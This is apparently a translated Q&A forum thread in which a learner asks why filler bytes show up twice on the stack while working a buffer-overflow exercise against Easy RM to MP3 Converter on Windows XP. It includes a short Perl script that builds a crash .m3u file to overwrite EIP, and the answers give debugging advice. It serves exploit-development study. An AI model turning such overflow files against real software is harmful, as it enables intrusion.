0

前一段时间,在 Windows XP SP3 ( http://www.exploit-db.com/exploits/9177/ )上对 Easy RM to MP3 Converter 2.7.3.700 进行利用时 ,我遇到了一个不理解的概念,它像这样:

用于生成恶意文件的 perl 脚本:

my $junk = "\x41" x 25000;
my $offset = "\x42" x 1072;
my $eip = "\x43" x 4;
my $file = "crash.m3u";
open ($file,">$file");
print $file $junk.$offset.$eip.$adjustment;
close ($file);

生成恶意文件后,将其输入转换器,然后他们分析 [esp+18] 处的堆栈内容(相对于 esp 的寻址)......为什么这些 A 在这里?

我是说 :

A 从 [ESP-88E8] 到 [ESP-43C]
B 从 [ESP-438] 到 [ESP-C]
C 在 [ESP-8]

那么为什么这些 A 又在 [ESP+18] 到 [ESP+418] ?当这些 A 已经从 [ESP-88E8] 到 [ESP-43C] 放置时,为什么这些 A 在 [ESP+18] 到 [ESP+418] 处重复 .. ??

谢谢你 。

4

2 回答 2

2

这些用于用垃圾填充缓冲区,其余 1700+ 字节是使用 metasploit 生成的,以在 EIP 被覆盖时获取地址。因此,您需要确定导致缓冲区溢出所需的字节数,因为它们因操作系统而异,等等。

可选:所以,这样做,您将在需要的地方设置断点并获取 EIP 地址

于 2012-11-10T00:09:34.920 回答
0

因此,要回答您的问题,您必须对 Easy RM 到 MP3 转换器进行更多调试,尝试设置一些较早的断点。我怀疑溢出不会立即发生,并且可能在它覆盖静态缓冲区之前被复制了几次。:)

于 2012-04-10T08:43:04.720 回答